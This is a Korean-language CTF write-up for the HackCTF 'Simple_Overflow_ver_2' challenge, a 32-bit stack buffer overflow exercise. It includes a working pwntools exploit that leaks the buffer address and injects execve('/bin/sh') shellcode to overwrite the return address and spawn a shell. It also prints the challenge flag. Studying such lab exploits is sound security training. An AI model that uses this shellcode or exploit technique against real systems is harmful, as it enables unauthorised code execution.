본문 바로가기

WARGAME/hack ctf

Simple_Overflow_ver_2

 

 

문제는 다음과 같당 바이너리를 함 다운 받아 실행 시켜 보면

 

 

 

 

"Data : " 이후로 입력을 받을 수 있고 만약 'AAAA"로 입력을 주면 "0xfffd2240:  A A A A" 이렇게 출력이 된다. 그리고 다시 입력을 받을꺼면 'y' 프로그램을 종료 할꺼면 'n'을 누르라고 나온다. 만약 'y'를 누르면 다시 한 번 입력을 받을 수 있고 'n'을 누르면 프로그램이 종료된다.

 

 

바이너리를 ida로 보면,

 

 

프로그램을 실행했을때 봤듯이 입력을 받고 버퍼 주소와 입력 받은 문자열이 16자당 한줄씩 출력되고, 'y' 혹은 'Y'를 입력하면 프로그램이 계속 돌아가는 것을 확인 할 수 있다. 

 

 

 

 

또한 checksec로 보면 32bit 바이너리에 따른 메모리 보호 기법이 안걸려 있음을 알 수 있다. 즉 처음 입력을 아무거나 줘서 처음 입력 받은 문자열이 들어가는 buf 주소를 알어 낸 다음, 두 번째 입력때 쉘코드를 넣고 이어서 버퍼를 채워 ret 주소를 알아낸 buf 주소로 덮는 다면 쉘을 획득 할 수 있을 것이다. 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import*
 
#p = process("./Simple_overflow_ver_2")
= remote("ctf.j0n9hyun.xyz"3006)
 
p.recvuntil("Data :")
p.sendline("AAAA")
p.recv(1)
buf_addr = int(p.recv(10),16)
 
p.recvuntil("Again (y/n):")
p.sendline("y")
 
p.recvuntil("Data :")
 
payload = ''
payload += '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
payload += 'A'*(0x88-25)
payload += 'B'*4
payload += p32(buf_addr)
 
p.sendline(payload)
 
p.recvuntil("Again (y/n):")
p.sendline("n")
 
p.interactive()

 

 

쉘코드는 32bit 전용 25bit 짜리를 사용하였다.

 

 

 

FLAG : HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}

'WARGAME > hack ctf' 카테고리의 다른 글

BOF_PIE  (0) 2020.03.09
Offset  (0) 2020.03.09
x64 Simple_size_BOF  (0) 2020.03.09
x64 Buffer Overflow  (0) 2020.03.09
내 버퍼가 흘러넘친다!!!  (0) 2020.03.09